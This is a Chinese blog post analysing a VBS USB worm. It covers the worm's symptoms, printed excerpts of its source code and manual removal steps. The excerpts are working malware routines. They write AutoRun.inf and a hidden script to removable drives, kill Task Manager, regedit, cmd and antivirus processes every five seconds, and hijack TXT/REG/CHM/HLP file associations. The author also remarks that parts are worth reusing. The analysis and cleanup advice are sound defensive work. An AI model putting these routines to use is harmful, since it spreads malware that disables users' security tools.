最近网络上流行起一种新的病毒，是以是以vbs为后缀名的小病毒！
下面我们来此解析此种病毒，以及它的变异型的病毒！
此种病毒的主要症状是
1.任务管理器自动关闭，大概打开后5秒左右。
2.不能显示隐藏文件。
3.感染时间过长，开机还会弹出窗口，提示感染文件超过2000个，与某某联系如何解决病毒之类。
4.自动搜索插在计算机上的移动磁盘，并生成AutoRun.inf和.vbs文件放到磁盘中。
5.Wscript.exe进程存在。
6.杀毒软件不报。。。。。（我之前在导师那里用过一次U盘，回来打开不小心，以为老师那里是瑞星，应该没什么问题吧。回来就发现不对劲。自己的NOD32就不报。）。
这个病毒危害倒不大，只是搞的很烦。
其实自己看看这些代码，觉得还挺有意思的哦。有些自己拿来用用也不错……
摘取一些代码：
1.生成Autorun.inf
Sub AutoRun(objfso, D, vbsCode)
On Error Resume Next
Dim path_autorun, path_vbs, inf_autorun
path_autorun = D & ":\AutoRun.inf"
path_vbs = D & ":\" & Name_V1
If objfso.FileExists(path_vbs) = False Or objfso.FileExists(path_autorun) = False Or GetVersion(objfso, path_vbs)If objfso.FileExists(path_autorun) = True Then
objfso.DeleteFile path_autorun, True
End If
If objfso.FileExists(path_vbs) = True Then
objfso.DeleteFile path_vbs, True
End If
Call CopyFile(objfso, vbsCode, path_vbs)
Call SetFileAttr(objfso, path_vbs)
inf_autorun = "[AutoRun]" & VBCRLF & "Shellexecute=WScript.exe " & Name_V1 & " ""AutoRun""" & VBCRLF & "shell\AutoRun=打开(&O)" & VBCRLF & "shell\AutoRun\command=WScript.exe " & Name_V1 & " ""AutoRun""" & VBCRLF & "shell\AutoRun1=资源管理器(&X)" & VBCRLF & "shell\AutoRun1\command=WScript.exe " & Name_V1 & " ""AutoRun"""
Call CopyFile(objfso, inf_autorun, path_autorun)
Call SetFileAttr(objfso, path_autorun)
End If
End Sub
2.搜索进程，并选择关闭和杀毒，以及其它有关的进程。
Sub MonitorSystem(objfso, vbsCode)
On Error Resume Next
Dim ProcessNames
ProcessNames = Array("ras.exe", "360tray.exe", "taskmgr.exe", "cmd.exe", "cmd.com", "regedit.exe", "regedit.scr", "regedit.pif", "regedit.com", "msconfig.exe", "SREng.exe", "USBAntiVir.exe")
<可以看到有瑞星，360，任务管理器，msconfig.exe，和USB病毒专杀都在里面了。>
Do
Call KillProcess(ProcessNames)
Call InvadeSystem(objfso, vbsCode)
WScript.Sleep 5000 <哈哈，5000毫秒。。。>
Loop
End Sub
3.修改TXT,REG,CHM,HLP文件的默认打开方式
Sub SetTxtFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SethlpFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetRegFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetchmFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
然后是这个。。。很有意思：
If Order_Para>2000 Then
Call WriteOK(objfso, FullPath_Config, "Msg", "您已有超过2000个文件被感染!不过请放心，此病毒很容易被清除!请联系418465***-_- !")
Else
貌似作者以为这个很牛啊，还的让人教怎么清除。。。不过确实这个杀毒软件不报病毒。。。
不扯了，把这个传上来，大家看看研究研究吧，可以提高点电脑知识。
最后说说怎么去掉这个吧。。。。本人喜欢手动，就不写什么批处理了。。。
1.可以打开任务管理器，发挥自己最快的速度。。。结束掉Wscript.exe进程（5秒之内）。。。最蠢最懒的办法，哈哈我就是这样做的。或者直接进入安全模式杀吧，或者用其它的工具结束掉此进程。
2. 显示目录下所有的文件，包括受系统保护的文件。
打开注册表（开始--运行--输入regedit）找到：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
项目，修改其值为1
3.到个磁盘目录下删除名称为自己主机名的扩展名为.VBS的文件以及AUTORUN.inf的文件。
4.然后是：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
里面的有.vbs项结束掉（基本上所有的和AUTORUN.INF之类的病毒都可以用这种方式删除。。不过一般其它的病毒都会有守护着的进程监视着[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]项的值，所以其它的还是在安全模式下这样操作)
5.剩下的就是其它的隐藏着的VBS的文件了。一般会在C:\WINDOWS和C:\WINDOWS\SYSTEM和C:\WINDOWS\SYSTEM32路径下面留有一些残余，类似为`.vbs,`.vba或者(你的计算机名字).vbs，用搜索工具搜索.VBS和.VBA就可以了，删除之，最后清空自己的浏览器缓存，以及浏览历史记录以及清空C:\Documents and Settings\Administrator\Local Settings\Temp目录。
6.然后就是恢复TXT，REG，CHM，HLP的文件关联了，这个……，最简单的办法，直接对文件右键，选择打开方式，选择正确的打开程序，并勾选始终使用这个打开就可以了。(受感染的文件会把文件的默认打开方式设定为WSCRIPT.exe执行病毒程序)
7.完工重启？。。。
最后，关于WSCRIPT.EXE
wscript.exe
进程文件： wscript 或者 wscript.exe
进程名称： Microsoft Windows Script Host
描述：
wscript.exe是微软Microsoft Windows操作系统脚本相关支持程序
695
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
